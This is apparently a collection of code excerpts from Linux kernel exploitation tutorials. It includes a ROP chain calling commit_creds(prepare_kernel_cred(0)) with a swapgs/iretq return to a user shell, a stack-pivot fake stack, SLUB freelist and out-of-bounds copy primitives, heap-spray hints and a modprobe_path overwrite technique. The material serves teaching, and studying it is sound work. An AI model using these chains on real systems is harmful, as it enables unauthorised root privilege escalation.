// Source: https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq frame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
mov esp, <addr>;
//some additional instructions potentially
ret;
void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // the rest of the chain is the same as the last payload
}
// Source - https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
Free slot
Free slot
Object
Slab
Cache
char *a = kmalloc(256);
char *b = kmalloc(256);
char *a = kmalloc(256);
char *b = kmalloc(256);
free(a);
char *a = kmalloc(256);
char *b = kmalloc(256);
free(a);
free(b);
char *a = kmalloc(256);
char *b = kmalloc(256);
free(a); // Head of the freelist
free(b); // head->next of freelist
char *c = kmalloc(256); //We get from the free list
#define OBJECT 256
kmem_cache_t *cache = kmem_cache_create("my_cache", OBJECT, 0, constructor, 0)
char *valid_obj_ptr = kmem_cache_alloc(cache, flags);
copy_to_user(userBuff, obj, sizeof(OBJECT)*2) //out of bounds read
copy_from_user(obj, userBuff, sizeof(OBJECT)*2) //out of bounds write
Consider the following:
#define OBJECT 256
kmem_cache_t *cache = kmem_cache_create("my_cache", OBJECT, 0, constructor, 0)
char *valid_obj_ptr = kmem_cache_alloc(cache, flags);
copy_to_user(userBuff, obj, sizeof(OBJECT)*2) //out of bounds read
copy_from_user(obj, userBuff, sizeof(OBJECT)*2) //out of bounds write
Object To Work With
Object To Work With
High chance of success after filling/allocating the slab & target object via heap spray
man 7 mq_overview
https://elixir.bootlin.com/linux/v6.7.9/source/include/linux/msg.h#L9
https://elixir.bootlin.com/linux/v6.7.9/source/ipc/msgutil.c#L46
char *args[] = {"./binary", NULL};
execv(args[0], args);
// Kernel then checks if this is a ELF or shell script
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
/**
* modprobe_path is a global variable in the kenrel that can be overwritten!
* The functionality can be triggered by executing an unknown magic
* Taking advantage of this unknown magic allows us to load kernel modules
**/